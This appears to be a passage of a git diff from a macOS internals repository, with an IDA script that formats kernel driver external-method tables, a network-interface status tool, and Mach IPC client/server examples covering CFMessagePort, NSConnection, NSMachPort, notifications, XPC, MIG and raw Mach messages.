idc.add_struc_member(sid, "checkScalarInputCount", 8, ida_bytes.dword_flag(), -1, 4)
|
||||
idc.add_struc_member(sid, "checkStructureInputSize", 0xC, ida_bytes.dword_flag(), -1, 4)
|
||||
idc.add_struc_member(sid, "checkScalarOutputCount", 0x10, ida_bytes.dword_flag(), -1, 4)
|
||||
idc.add_struc_member(sid, "checkStructureOutputSize", 0x14, ida_bytes.dword_flag(), -1, 4)
|
||||
idc.add_struc_member(sid, "allowAsync", 0x18, ida_bytes.byte_flag(), -1, 1)
|
||||
# Align to pointer size for checkEntitlement
|
||||
idc.add_struc_member(sid, "checkEntitlement", 0x20, ida_bytes.qword_flag(), -1, 8)
|
||||
|
||||
return sid
|
||||
|
||||
def format_external_method_array(start_addr, count):
|
||||
# Create structure if it doesn't exist
|
||||
sid = create_external_method_dispatch_struct()
|
||||
if sid == -1:
|
||||
return
|
||||
|
||||
struct_size = 0x28 # Size of IOExternalMethodDispatch2022
|
||||
|
||||
# Create array
|
||||
for i in range(count):
|
||||
current_addr = start_addr + (i * struct_size)
|
||||
|
||||
# Create structure instance
|
||||
idc.create_struct(current_addr, struct_size, "IOExternalMethodDispatch2022")
|
||||
|
||||
# Get function pointer and try to get its name
|
||||
func_ptr = idc.get_qword(current_addr)
|
||||
if func_ptr != 0:
|
||||
func_name = ida_name.get_name(func_ptr)
|
||||
if func_name:
|
||||
print(f"Entry {i}: Function = {func_name}")
|
||||
else:
|
||||
print(f"Entry {i}: Function = 0x{func_ptr:x}")
|
||||
|
||||
# Get other fields
|
||||
scalar_input = idc.get_wide_dword(current_addr + 8)
|
||||
struct_input = idc.get_wide_dword(current_addr + 0xC)
|
||||
scalar_output = idc.get_wide_dword(current_addr + 0x10)
|
||||
struct_output = idc.get_wide_dword(current_addr + 0x14)
|
||||
allow_async = idc.get_wide_byte(current_addr + 0x18)
|
||||
entitlement = idc.get_qword(current_addr + 0x20)
|
||||
|
||||
print(f" ScalarInput: {scalar_input}")
|
||||
print(f" StructInput: {struct_input}")
|
||||
print(f" ScalarOutput: {scalar_output}")
|
||||
print(f" StructOutput: {struct_output}")
|
||||
print(f" AllowAsync: {allow_async}")
|
||||
if entitlement != 0:
|
||||
ent_str = idc.get_strlit_contents(entitlement, -1, STRTYPE_C)
|
||||
if ent_str:
|
||||
print(f" Entitlement: {ent_str.decode('utf-8')}")
|
||||
print("")
|
||||
|
||||
def main():
|
||||
if len(idc.ARGV) != 3:
|
||||
print("Usage: format_externalmethods.py <start_address> <count>")
|
||||
print("Example: format_externalmethods.py 0xFFFFFE0007E1B118 10")
|
||||
return
|
||||
|
||||
start_addr = int(idc.ARGV[1], 16)
|
||||
count = int(idc.ARGV[2])
|
||||
|
||||
format_external_method_array(start_addr, count)
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
52
X. NU/custom/drivers/ifstatus.c
Normal file
52
X. NU/custom/drivers/ifstatus.c
Normal file
@@ -0,0 +1,52 @@
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/ioctl.h>
|
||||
#include <net/if.h>
|
||||
#include <netinet/in.h>
|
||||
#include <arpa/inet.h>
|
||||
#include <unistd.h>
|
||||
|
||||
int main(int argc, char *argv[]) {
|
||||
struct ifreq ifr;
|
||||
int sockfd;
|
||||
|
||||
// Check if interface name was provided
|
||||
if (argc != 2) {
|
||||
printf("Usage: %s <interface>\n", argv[0]);
|
||||
printf("Example: %s en0\n", argv[0]);
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Create a UDP socket for interface communication
|
||||
sockfd = socket(AF_INET, SOCK_DGRAM, 0);
|
||||
if (sockfd < 0) {
|
||||
perror("socket");
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Clear the structure and copy interface name
|
||||
memset(&ifr, 0, sizeof(ifr));
|
||||
strncpy(ifr.ifr_name, argv[1], IFNAMSIZ-1);
|
||||
|
||||
// Get the interface flags
|
||||
if (ioctl(sockfd, SIOCGIFFLAGS, &ifr) < 0) {
|
||||
perror("ioctl");
|
||||
close(sockfd);
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Print interface status
|
||||
printf("Interface %s status:\n", argv[1]);
|
||||
printf("UP: %s\n", (ifr.ifr_flags & IFF_UP) ? "yes" : "no");
|
||||
printf("RUNNING: %s\n", (ifr.ifr_flags & IFF_RUNNING) ? "yes" : "no");
|
||||
printf("LOOPBACK: %s\n", (ifr.ifr_flags & IFF_LOOPBACK) ? "yes" : "no");
|
||||
printf("POINTOPOINT: %s\n", (ifr.ifr_flags & IFF_POINTOPOINT) ? "yes" : "no");
|
||||
printf("MULTICAST: %s\n", (ifr.ifr_flags & IFF_MULTICAST) ? "yes" : "no");
|
||||
printf("BROADCAST: %s\n", (ifr.ifr_flags & IFF_BROADCAST) ? "yes" : "no");
|
||||
printf("PROMISC: %s\n", (ifr.ifr_flags & IFF_PROMISC) ? "yes" : "no");
|
||||
|
||||
close(sockfd);
|
||||
return 0;
|
||||
}
|
||||
8
X. NU/custom/mach_call_demo.c
Normal file
8
X. NU/custom/mach_call_demo.c
Normal file
@@ -0,0 +1,8 @@
|
||||
#include <mach/mach.h>
|
||||
|
||||
int main() {
|
||||
mach_port_t port;
|
||||
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
|
||||
return 0; // Port allocation directly interacts with kernelspace
|
||||
}
|
||||
|
||||
15
X. NU/custom/mach_ipc/client_server_CFMessagePort/Makefile
Normal file
15
X. NU/custom/mach_ipc/client_server_CFMessagePort/Makefile
Normal file
@@ -0,0 +1,15 @@
|
||||
CC = clang
|
||||
FRAMEWORK = -framework Foundation
|
||||
|
||||
all: client server
|
||||
|
||||
client: client.m
|
||||
$(CC) $(FRAMEWORK) client.m -o client
|
||||
|
||||
server: server.m
|
||||
$(CC) $(FRAMEWORK) server.m -o server
|
||||
|
||||
clean:
|
||||
rm -f client server *.o
|
||||
|
||||
.PHONY: all clean
|
||||
16
X. NU/custom/mach_ipc/client_server_CFMessagePort/client.m
Normal file
16
X. NU/custom/mach_ipc/client_server_CFMessagePort/client.m
Normal file
@@ -0,0 +1,16 @@
|
||||
#import <Foundation/Foundation.h>
|
||||
|
||||
int main(int argc, char *argv[]) {
|
||||
@autoreleasepool {
|
||||
if (argc != 2) return 1;
|
||||
|
||||
CFMessagePortRef port = CFMessagePortCreateRemote(NULL, CFSTR("com.crimson.message_service"));
|
||||
if (port) {
|
||||
NSString *msg = [NSString stringWithUTF8String:argv[1]];
|
||||
NSData *data = [msg dataUsingEncoding:NSUTF8StringEncoding];
|
||||
CFMessagePortSendRequest(port, 0, (__bridge CFDataRef)data, 1, 1, NULL, NULL);
|
||||
CFRelease(port);
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
18
X. NU/custom/mach_ipc/client_server_CFMessagePort/server.m
Normal file
18
X. NU/custom/mach_ipc/client_server_CFMessagePort/server.m
Normal file
@@ -0,0 +1,18 @@
|
||||
// server.m
|
||||
// clang -framework Foundation server.m -o server
|
||||
#import <Foundation/Foundation.h>
|
||||
|
||||
static CFDataRef callback(CFMessagePortRef port, SInt32 msgid, CFDataRef data, void *info) {
|
||||
NSLog(@"Received: %@", [[NSString alloc] initWithData:(__bridge NSData *)data encoding:NSUTF8StringEncoding]);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
int main() {
|
||||
@autoreleasepool {
|
||||
CFMessagePortRef port = CFMessagePortCreateLocal(NULL, CFSTR("com.crimson.message_service"), callback, NULL, NULL);
|
||||
CFRunLoopSourceRef source = CFMessagePortCreateRunLoopSource(NULL, port, 0);
|
||||
CFRunLoopAddSource(CFRunLoopGetCurrent(), source, kCFRunLoopCommonModes);
|
||||
[[NSRunLoop currentRunLoop] run];
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
15
X. NU/custom/mach_ipc/client_server_NSConnection/Makefile
Normal file
15
X. NU/custom/mach_ipc/client_server_NSConnection/Makefile
Normal file
@@ -0,0 +1,15 @@
|
||||
CC = clang
|
||||
CFLAGS = -framework Foundation
|
||||
|
||||
all: client server
|
||||
|
||||
client: client.m
|
||||
$(CC) $(CFLAGS) client.m -o client
|
||||
|
||||
server: server.m
|
||||
$(CC) $(CFLAGS) server.m -o server
|
||||
|
||||
clean:
|
||||
rm -f client server *.o
|
||||
|
||||
.PHONY: all clean
|
||||
17
X. NU/custom/mach_ipc/client_server_NSConnection/client.m
Normal file
17
X. NU/custom/mach_ipc/client_server_NSConnection/client.m
Normal file
@@ -0,0 +1,17 @@
|
||||
#import <Foundation/Foundation.h>
|
||||
|
||||
int main(int argc, char *argv[]) {
|
||||
@autoreleasepool {
|
||||
if (argc != 2) {
|
||||
NSLog(@"Usage: %s <message>", argv[0]);
|
||||
return 1;
|
||||
}
|
||||
|
||||
NSConnection *connection = [NSConnection connectionWithRegisteredName:@"com.crimson.message_service" host:nil];
|
||||
id<NSObject> server = [connection rootProxy];
|
||||
|
||||
NSString *message = [NSString stringWithUTF8String:argv[1]];
|
||||
[server handleMessage:message];
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
22
X. NU/custom/mach_ipc/client_server_NSConnection/server.m
Normal file
22
X. NU/custom/mach_ipc/client_server_NSConnection/server.m
Normal file
@@ -0,0 +1,22 @@
|
||||
#import <Foundation/Foundation.h>
|
||||
|
||||
@interface MessageServer : NSObject
|
||||
- (void)handleMessage:(NSString *)message;
|
||||
@end
|
||||
|
||||
@implementation MessageServer
|
||||
- (void)handleMessage:(NSString *)message {
|
||||
NSLog(@"Received: %@", message);
|
||||
}
|
||||
@end
|
||||
|
||||
int main() {
|
||||
@autoreleasepool {
|
||||
MessageServer *server = [[MessageServer alloc] init];
|
||||
NSConnection *connection = [NSConnection defaultConnection];
|
||||
[connection setRootObject:server];
|
||||
[connection registerName:@"com.crimson.message_service"];
|
||||
[[NSRunLoop currentRunLoop] run];
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
13
X. NU/custom/mach_ipc/client_server_NSMachPort/Makefile
Normal file
13
X. NU/custom/mach_ipc/client_server_NSMachPort/Makefile
Normal file
@@ -0,0 +1,13 @@
|
||||
CC=clang
|
||||
FRAMEWORKS=-framework Foundation
|
||||
|
||||
all: server client
|
||||
|
||||
server: server.m
|
||||
$(CC) $(FRAMEWORKS) server.m -o server
|
||||
|
||||
client: client.m
|
||||
$(CC) $(FRAMEWORKS) client.m -o client
|
||||
|
||||
clean:
|
||||
rm -f server client
|
||||
19
X. NU/custom/mach_ipc/client_server_NSMachPort/client.m
Normal file
19
X. NU/custom/mach_ipc/client_server_NSMachPort/client.m
Normal file
@@ -0,0 +1,19 @@
|
||||
// client.m
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <servers/bootstrap.h>
|
||||
|
||||
int main(int argc, char *argv[]) {
|
||||
@autoreleasepool {
|
||||
if (argc != 2) return 1;
|
||||
|
||||
mach_port_t bp, port;
|
||||
task_get_bootstrap_port(mach_task_self(), &bp);
|
||||
bootstrap_look_up(bp, "com.crimson.message_service", &port);
|
||||
|
||||
NSMachPort *machPort = [[NSMachPort alloc] initWithMachPort:port];
|
||||
NSData *data = [[NSString stringWithUTF8String:argv[1]] dataUsingEncoding:NSUTF8StringEncoding];
|
||||
NSMutableArray *components = [NSMutableArray arrayWithObject:data];
|
||||
[machPort sendBeforeDate:[NSDate date] msgid:0 components:components from:nil reserved:0];
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
31
X. NU/custom/mach_ipc/client_server_NSMachPort/server.m
Normal file
31
X. NU/custom/mach_ipc/client_server_NSMachPort/server.m
Normal file
@@ -0,0 +1,31 @@
|
||||
// server.m
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <servers/bootstrap.h>
|
||||
|
||||
@interface Server : NSObject <NSMachPortDelegate>
|
||||
@end
|
||||
|
||||
@implementation Server
|
||||
- (void)handlePortMessage:(NSPortMessage *)message {
|
||||
NSData *data = [[message components] firstObject];
|
||||
NSString *msg = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding];
|
||||
NSLog(@"Received: %@", msg);
|
||||
}
|
||||
@end
|
||||
|
||||
int main() {
|
||||
@autoreleasepool {
|
||||
Server *server = [[Server alloc] init];
|
||||
mach_port_t bp;
|
||||
task_get_bootstrap_port(mach_task_self(), &bp);
|
||||
mach_port_t servicePort;
|
||||
kern_return_t kr = bootstrap_check_in(bp, "com.crimson.message_service", &servicePort);
|
||||
if (kr != KERN_SUCCESS) return 1;
|
||||
|
||||
NSMachPort *port = [[NSMachPort alloc] initWithMachPort:servicePort];
|
||||
port.delegate = server;
|
||||
[[NSRunLoop currentRunLoop] addPort:port forMode:NSDefaultRunLoopMode];
|
||||
[[NSRunLoop currentRunLoop] run];
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
15
X. NU/custom/mach_ipc/client_server_NSNotification/Makefile
Normal file
15
X. NU/custom/mach_ipc/client_server_NSNotification/Makefile
Normal file
@@ -0,0 +1,15 @@
|
||||
CC = clang
|
||||
CFLAGS = -framework Foundation
|
||||
|
||||
all: client server
|
||||
|
||||
client: client.m
|
||||
$(CC) $(CFLAGS) client.m -o client
|
||||
|
||||
server: server.m
|
||||
$(CC) $(CFLAGS) server.m -o server
|
||||
|
||||
clean:
|
||||
rm -f client server *.o
|
||||
|
||||
.PHONY: all clean
|
||||
19
X. NU/custom/mach_ipc/client_server_NSNotification/client.m
Normal file
19
X. NU/custom/mach_ipc/client_server_NSNotification/client.m
Normal file
@@ -0,0 +1,19 @@
|
||||
// client.m
|
||||
#import <Foundation/Foundation.h>
|
||||
|
||||
int main(int argc, char *argv[]) {
|
||||
@autoreleasepool {
|
||||
if (argc != 2) {
|
||||
NSLog(@"Usage: %s <message>", argv[0]);
|
||||
return 1;
|
||||
}
|
||||
|
||||
NSString *message = [NSString stringWithUTF8String:argv[1]];
|
||||
[[NSDistributedNotificationCenter defaultCenter]
|
||||
postNotificationName:@"com.crimson.message_service"
|
||||
object:nil
|
||||
userInfo:@{@"message": message}
|
||||
deliverImmediately:YES];
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
31
X. NU/custom/mach_ipc/client_server_NSNotification/server.m
Normal file
31
X. NU/custom/mach_ipc/client_server_NSNotification/server.m
Normal file
@@ -0,0 +1,31 @@
|
||||
// server.m
|
||||
#import <Foundation/Foundation.h>
|
||||
|
||||
@interface MessageServer : NSObject
|
||||
- (void)handleMessage:(NSNotification *)notification;
|
||||
@end
|
||||
|
||||
@implementation MessageServer
|
||||
- (id)init {
|
||||
if (self = [super init]) {
|
||||
[[NSDistributedNotificationCenter defaultCenter]
|
||||
addObserver:self
|
||||
selector:@selector(handleMessage:)
|
||||
name:@"com.crimson.message_service"
|
||||
object:nil];
|
||||
}
|
||||
return self;
|
||||
}
|
||||
|
||||
- (void)handleMessage:(NSNotification *)notification {
|
||||
NSLog(@"Received: %@", notification.userInfo[@"message"]);
|
||||
}
|
||||
@end
|
||||
|
||||
int main() {
|
||||
@autoreleasepool {
|
||||
MessageServer *server = [[MessageServer alloc] init];
|
||||
[[NSRunLoop currentRunLoop] run];
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
58
X. NU/custom/mach_ipc/client_server_XPC/Makefile
Normal file
58
X. NU/custom/mach_ipc/client_server_XPC/Makefile
Normal file
@@ -0,0 +1,58 @@
|
||||
# Compiler and flags
|
||||
CC = gcc
|
||||
CFLAGS = -Wall -Wextra -O2 # Enable warnings and basic optimization
|
||||
FRAMEWORKS = -framework Foundation
|
||||
|
||||
# Binary names and paths
|
||||
SERVICE_NAME = crimson_xpc_service
|
||||
CLIENT_NAME = crimson_xpc_client
|
||||
INSTALL_PATH = /usr/local/bin
|
||||
LAUNCHD_PATH = /Library/LaunchDaemons
|
||||
PLIST_NAME = com.crimson.xpc.message_service.plist
|
||||
|
||||
# Source files
|
||||
SERVICE_SRC = crimson_xpc_service.c
|
||||
CLIENT_SRC = crimson_xpc_client.c
|
||||
|
||||
# Default target builds both executables
|
||||
all: $(SERVICE_NAME) $(CLIENT_NAME)
|
||||
|
||||
# Build the XPC service
|
||||
$(SERVICE_NAME): $(SERVICE_SRC)
|
||||
$(CC) $(CFLAGS) -o $@ $< $(FRAMEWORKS)
|
||||
|
||||
# Build the XPC client
|
||||
$(CLIENT_NAME): $(CLIENT_SRC)
|
||||
$(CC) $(CFLAGS) -o $@ $< $(FRAMEWORKS)
|
||||
|
||||
# Install everything (requires sudo)
|
||||
install: all
|
||||
@echo "Installing XPC service and client..."
|
||||
sudo cp $(SERVICE_NAME) $(INSTALL_PATH)/
|
||||
sudo cp $(PLIST_NAME) $(LAUNCHD_PATH)/
|
||||
sudo launchctl unload $(LAUNCHD_PATH)/$(PLIST_NAME) 2>/dev/null || true
|
||||
sudo launchctl load $(LAUNCHD_PATH)/$(PLIST_NAME)
|
||||
@echo "Installation complete"
|
||||
|
||||
# Clean up compiled files
|
||||
clean:
|
||||
rm -f $(SERVICE_NAME) $(CLIENT_NAME)
|
||||
|
||||
# Uninstall everything (requires sudo)
|
||||
uninstall:
|
||||
@echo "Uninstalling XPC service and client..."
|
||||
sudo launchctl unload $(LAUNCHD_PATH)/$(PLIST_NAME) 2>/dev/null || true
|
||||
sudo rm -f $(INSTALL_PATH)/$(SERVICE_NAME)
|
||||
sudo rm -f $(LAUNCHD_PATH)/$(PLIST_NAME)
|
||||
@echo "Uninstallation complete"
|
||||
|
||||
# Help target to show available commands
|
||||
help:
|
||||
@echo "Available targets:"
|
||||
@echo " make all - Build both service and client"
|
||||
@echo " make install - Install and load the service (requires sudo)"
|
||||
@echo " make clean - Remove compiled files"
|
||||
@echo " make uninstall - Remove installed files (requires sudo)"
|
||||
|
||||
# Declare our phony targets (targets that don't create files)
|
||||
.PHONY: all install clean uninstall help
|
||||
@@ -0,0 +1,17 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
<plist version="1.0">
|
||||
<dict>
|
||||
<key>Label</key>
|
||||
<string>com.crimson.xpc.message_service</string>
|
||||
<key>Program</key>
|
||||
<string>/usr/local/bin/crimson_xpc_service</string>
|
||||
<key>MachServices</key>
|
||||
<dict>
|
||||
<key>com.crimson.xpc.message_service</key>
|
||||
<true/>
|
||||
</dict>
|
||||
<key>KeepAlive</key>
|
||||
<false/>
|
||||
</dict>
|
||||
</plist>
|
||||
62
X. NU/custom/mach_ipc/client_server_XPC/crimson_xpc_client.c
Normal file
62
X. NU/custom/mach_ipc/client_server_XPC/crimson_xpc_client.c
Normal file
@@ -0,0 +1,62 @@
|
||||
// crimson_xpc_client.c
|
||||
// This client demonstrates how to create and manage an XPC connection to communicate
|
||||
// with a LaunchDaemon or LaunchAgent service
|
||||
|
||||
#include <xpc/xpc.h> // XPC framework for secure inter-process communication
|
||||
#include <dispatch/dispatch.h> // GCD for asynchronous operations and event handling
|
||||
#include <stdio.h> // Standard I/O for error reporting and status messages
|
||||
#include <stdlib.h> // Standard library for program termination functions
|
||||
|
||||
int main(void) {
|
||||
// Initialize an XPC connection to a Mach service
|
||||
// The service name must match the label in the service's plist file
|
||||
// XPC_CONNECTION_MACH_SERVICE_PRIVILEGED indicates this client expects
|
||||
// to connect to a privileged service (typically a LaunchDaemon)
|
||||
xpc_connection_t conn = xpc_connection_create_mach_service(
|
||||
"com.crimson.xpc.message_service",
|
||||
dispatch_get_main_queue(), // Main queue handles all connection events
|
||||
XPC_CONNECTION_MACH_SERVICE_PRIVILEGED
|
||||
);
|
||||
|
||||
// Configure an event handler for connection-level events
|
||||
// This handler processes XPC_TYPE_ERROR events, which occur on
|
||||
// connection failures, service termination, or invalid messages
|
||||
xpc_connection_set_event_handler(conn, ^(xpc_object_t event) {
|
||||
if (xpc_get_type(event) == XPC_TYPE_ERROR) {
|
||||
fprintf(stderr, "Connection error: %s\n",
|
||||
xpc_dictionary_get_string(event, XPC_ERROR_KEY_DESCRIPTION));
|
||||
}
|
||||
});
|
||||
|
||||
// Activate the connection to begin processing events
|
||||
// Must be called before any messages can be sent
|
||||
xpc_connection_resume(conn);
|
||||
|
||||
// Create an XPC dictionary to encapsulate the message data
|
||||
// XPC dictionaries are the primary container type for XPC messages
|
||||
xpc_object_t message = xpc_dictionary_create(NULL, NULL, 0);
|
||||
xpc_dictionary_set_string(message, "message_data", "Hello from Crimson!");
|
||||
|
||||
// Send message and handle response asynchronously
|
||||
// The reply block executes when the service responds or on timeout
|
||||
xpc_connection_send_message_with_reply(conn, message,
|
||||
dispatch_get_main_queue(), ^(xpc_object_t reply) {
|
||||
if (xpc_get_type(reply) == XPC_TYPE_DICTIONARY) {
|
||||
printf("Reply status: %s\n",
|
||||
xpc_dictionary_get_string(reply, "status"));
|
||||
}
|
||||
// Schedule program termination after reply processing
|
||||
// Using dispatch_async ensures clean shutdown
|
||||
dispatch_async(dispatch_get_main_queue(), ^{
|
||||
exit(0);
|
||||
});
|
||||
});
|
||||
|
||||
// Decrement the message object's reference count
|
||||
// XPC uses manual reference counting for memory management
|
||||
xpc_release(message);
|
||||
|
||||
// Run the main dispatch loop to process asynchronous events
|
||||
// This call never returns - program exits via the reply handler
|
||||
dispatch_main();
|
||||
}
|
||||
@@ -0,0 +1,57 @@
|
||||
// crimson_xpc_service.c
|
||||
// This implements an XPC service that can be launched as a LaunchDaemon or LaunchAgent
|
||||
// It demonstrates basic XPC message handling and connection management patterns
|
||||
|
||||
#include <xpc/xpc.h> // XPC for inter-process communication
|
||||
#include <dispatch/dispatch.h> // GCD for asynchronous event handling
|
||||
#include <stdio.h> // Standard I/O for logging messages
|
||||
|
||||
int main(void) {
|
||||
// Initialize the XPC service listener
|
||||
// XPC_CONNECTION_MACH_SERVICE_LISTENER indicates this process will accept incoming connections
|
||||
// The service name must match both the client and the service's launchd plist MachServices entry
|
||||
xpc_connection_t service = xpc_connection_create_mach_service(
|
||||
"com.crimson.xpc.message_service",
|
||||
dispatch_get_main_queue(), // Main queue handles all service events
|
||||
XPC_CONNECTION_MACH_SERVICE_LISTENER
|
||||
);
|
||||
|
||||
// Set up handler for new client connections
|
||||
// This outer handler processes connection establishment events
|
||||
// Each new client connection creates a new peer object
|
||||
xpc_connection_set_event_handler(service, ^(xpc_object_t peer) {
|
||||
// Security check: Validate connection object type
|
||||
// Early return prevents processing of invalid connection attempts
|
||||
if (xpc_get_type(peer) != XPC_TYPE_CONNECTION) return;
|
||||
|
||||
// Configure message handler for this specific client connection
|
||||
// Each client gets its own message handler to maintain separation
|
||||
xpc_connection_set_event_handler(peer, ^(xpc_object_t message) {
|
||||
// Only process dictionary-type messages for protocol compliance
|
||||
if (xpc_get_type(message) == XPC_TYPE_DICTIONARY) {
|
||||
// Extract message data with bounds checking via len parameter
|
||||
// This prevents buffer overflow vulnerabilities
|
||||
size_t len;
|
||||
const void* data = xpc_dictionary_get_data(message, "message_data", &len);
|
||||
if (data) printf("Received: %.*s\n", (int)len, (char*)data);
|
||||
|
||||
// Create and send reply to the client
|
||||
// xpc_dictionary_create_reply maintains message context for proper routing
|
||||
xpc_object_t reply = xpc_dictionary_create_reply(message);
|
||||
xpc_dictionary_set_string(reply, "status", "received");
|
||||
xpc_connection_send_message(peer, reply);
|
||||
xpc_release(reply); // Clean up reply object to prevent memory leaks
|
||||
}
|
||||
});
|
||||
|
||||
// Activate this client's connection to begin processing its messages
|
||||
xpc_connection_resume(peer);
|
||||
});
|
||||
|
||||
// Activate the service listener to begin accepting connections
|
||||
xpc_connection_resume(service);
|
||||
|
||||
// Run the main dispatch loop
|
||||
// This service will continue running until terminated by launchd
|
||||
dispatch_main();
|
||||
}
|
||||
26
X. NU/custom/mach_ipc/client_server_mig/Makefile
Normal file
26
X. NU/custom/mach_ipc/client_server_mig/Makefile
Normal file
@@ -0,0 +1,26 @@
|
||||
# Makefile for Mach IPC example with MIG
|
||||
|
||||
# Compiler settings
|
||||
CC = gcc
|
||||
CFLAGS = -Wall -Werror
|
||||
|
||||
# Default target
|
||||
all: server client
|
||||
|
||||
# Generate MIG files from definition
|
||||
mig_files: message.defs
|
||||
mig message.defs
|
||||
|
||||
# Build server with MIG-generated files
|
||||
server: mig_files server.c messageServer.c
|
||||
$(CC) $(CFLAGS) server.c messageServer.c -o server
|
||||
|
||||
# Build client with MIG-generated files
|
||||
client: mig_files client.c messageUser.c
|
||||
$(CC) $(CFLAGS) client.c messageUser.c -o client
|
||||
|
||||
# Clean generated files and executables
|
||||
clean:
|
||||
rm -f server client message.h messageUser.c messageServer.c
|
||||
|
||||
.PHONY: all clean mig_files
|
||||
29
X. NU/custom/mach_ipc/client_server_mig/client.c
Normal file
29
X. NU/custom/mach_ipc/client_server_mig/client.c
Normal file
@@ -0,0 +1,29 @@
|
||||
// client.c - MIG version
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <mach/mach.h>
|
||||
#include <servers/bootstrap.h>
|
||||
#include "message.h" // MIG-generated header
|
||||
|
||||
int main(int argc, char *argv[]) {
|
||||
// Validate command line arguments
|
||||
if (argc != 2) {
|
||||
printf("Usage: %s <message>\n", argv[0]);
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Get bootstrap port for service lookup
|
||||
mach_port_t port;
|
||||
kern_return_t kr = bootstrap_look_up(bootstrap_port,
|
||||
"com.crimson.message_service",
|
||||
&port);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("Service not found\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Use MIG-generated function to send message
|
||||
// This handles all the message structure creation internally
|
||||
USER_send_message(port, (pointer_t)argv[1], strlen(argv[1]));
|
||||
return 0;
|
||||
}
|
||||
17
X. NU/custom/mach_ipc/client_server_mig/message.defs
Normal file
17
X. NU/custom/mach_ipc/client_server_mig/message.defs
Normal file
@@ -0,0 +1,17 @@
|
||||
// message.defs - MIG Interface Definition
|
||||
subsystem message 400; // Define subsystem name and ID
|
||||
|
||||
// Prefix for generated client and server function names
|
||||
userprefix USER_;
|
||||
serverprefix SERVER_;
|
||||
|
||||
// Include necessary Mach type definitions
|
||||
#include <mach/mach_types.defs>
|
||||
#include <mach/std_types.defs>
|
||||
|
||||
// Define our message passing routine
|
||||
// 'simpleroutine' means one-way communication (no reply expected)
|
||||
// pointer_t is used for variable-length data
|
||||
simpleroutine send_message(
|
||||
server_port : mach_port_t; // Port to send message to
|
||||
message : pointer_t); // Message data
|
||||
39
X. NU/custom/mach_ipc/client_server_mig/server.c
Normal file
39
X. NU/custom/mach_ipc/client_server_mig/server.c
Normal file
@@ -0,0 +1,39 @@
|
||||
// server.c - MIG version
|
||||
#include <stdio.h>
|
||||
#include <mach/mach.h>
|
||||
#include <servers/bootstrap.h>
|
||||
#include "message.h"
|
||||
|
||||
// Function prototype for MIG-generated server function
|
||||
extern boolean_t message_server(
|
||||
mach_msg_header_t *InHeadP,
|
||||
mach_msg_header_t *OutHeadP);
|
||||
|
||||
// Implementation of our message handling function
|
||||
// This is called by MIG-generated code when a message arrives
|
||||
kern_return_t SERVER_send_message(
|
||||
mach_port_t server_port,
|
||||
vm_offset_t message,
|
||||
mach_msg_type_number_t messageCnt)
|
||||
{
|
||||
// Simply print the received message
|
||||
printf("Received message: %s\n", (char*)message);
|
||||
return KERN_SUCCESS;
|
||||
}
|
||||
|
||||
int main() {
|
||||
mach_port_t port;
|
||||
kern_return_t kr;
|
||||
|
||||
// Register our service with the bootstrap server
|
||||
kr = bootstrap_check_in(bootstrap_port, "com.crimson.message_service", &port);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("bootstrap_check_in() failed with code 0x%x\n", kr);
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Start message handling loop using MIG-generated server function
|
||||
// 4096 is the maximum message size
|
||||
mach_msg_server(message_server, 4096, port, MACH_MSG_TIMEOUT_NONE);
|
||||
return 0;
|
||||
}
|
||||
22
X. NU/custom/mach_ipc/client_server_no_mig/Makefile
Normal file
22
X. NU/custom/mach_ipc/client_server_no_mig/Makefile
Normal file
@@ -0,0 +1,22 @@
|
||||
# Makefile for Mach IPC example without MIG
|
||||
|
||||
# Compiler settings
|
||||
CC = gcc
|
||||
CFLAGS = -Wall -Werror
|
||||
|
||||
# Default target
|
||||
all: server client
|
||||
|
||||
# Build server
|
||||
server: server.c
|
||||
$(CC) $(CFLAGS) server.c -o server
|
||||
|
||||
# Build client
|
||||
client: client.c
|
||||
$(CC) $(CFLAGS) client.c -o client
|
||||
|
||||
# Clean generated files and executables
|
||||
clean:
|
||||
rm -f server client
|
||||
|
||||
.PHONY: all clean
|
||||
77
X. NU/custom/mach_ipc/client_server_no_mig/client.c
Normal file
77
X. NU/custom/mach_ipc/client_server_no_mig/client.c
Normal file
@@ -0,0 +1,77 @@
|
||||
// client.c
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <mach/mach.h>
|
||||
#include <servers/bootstrap.h>
|
||||
|
||||
/*
|
||||
* Message structure for IPC communication
|
||||
* Consists of two parts:
|
||||
* 1. mach_msg_header_t h - Standard Mach message header required for all IPC
|
||||
* 2. char d[1024] - Data buffer for the actual message content
|
||||
*/
|
||||
typedef struct {
|
||||
mach_msg_header_t h; // Header must be first member
|
||||
char d[1024]; // Data buffer follows immediately after header
|
||||
} msg_t;
|
||||
|
||||
int main(int argc, char *argv[]) {
|
||||
// Validate command line arguments
|
||||
if (argc != 2) {
|
||||
printf("Usage: %s <message>\n", argv[0]);
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Step 1: Get the bootstrap port
|
||||
// Bootstrap server is the central name server in Mach IPC
|
||||
mach_port_t bootstrap_port;
|
||||
